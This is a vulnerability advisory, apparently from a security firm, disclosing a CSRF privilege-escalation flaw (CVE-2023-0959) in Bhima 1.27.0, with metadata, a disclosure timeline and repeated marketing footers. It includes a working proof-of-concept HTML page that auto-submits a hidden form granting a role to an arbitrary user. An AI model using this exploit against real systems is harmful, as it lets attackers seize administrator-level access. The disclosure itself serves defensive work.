Bhima 1.27.0 - Privilege Escalation via CSRF

8

High

Discovered by 

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

Bhima 1.27.0 - Privilege Escalation via CSRF

Code name

State

Public

Release date

Apr 10, 2023

Affected product

Bhima

Affected version(s)

Version 1.27.0

Vulnerability name

Cross-site request forgery

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVSS v3.1 base score

8.0

Exploit available

Yes

CVE ID(s)

Description

Bhima version 1.27.0 allows a remote attacker to update the privileges of any account registered in the application via a malicious link sent to an administrator. This is possible because the application is vulnerable to CSRF.

Vulnerability

This vulnerability occurs because the application is vulnerable to CSRF. In this way we can persuade an administrator to elevate the privileges of an arbitrary account.

Exploitation

Exploit.html

<!DOCTYPE html>
<html>
 <body>
 <form action="http://localhost:8082/roles/assignTouser" method="POST">
 <input type="hidden" name="user_id" value="6" />
 <input type="hidden" name="role_uuids" value="5B7DD0D692734955A703126FBD504B61" />
 <input type="submit" value="Submit request" />
 </form>
 <script>
 document.forms[0].submit();
 </script>
 </body>
</html>

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-0959 to refer to this issue from now on. Disclosure policy

System Information

  • Version: Bhima 1.27.0

  • Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

Timeline

Vulnerability discovered

Feb 22, 2023

Vendor contacted

Feb 22, 2023

Vendor replied

Feb 22, 2023

Public disclosure

Apr 10, 2023

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.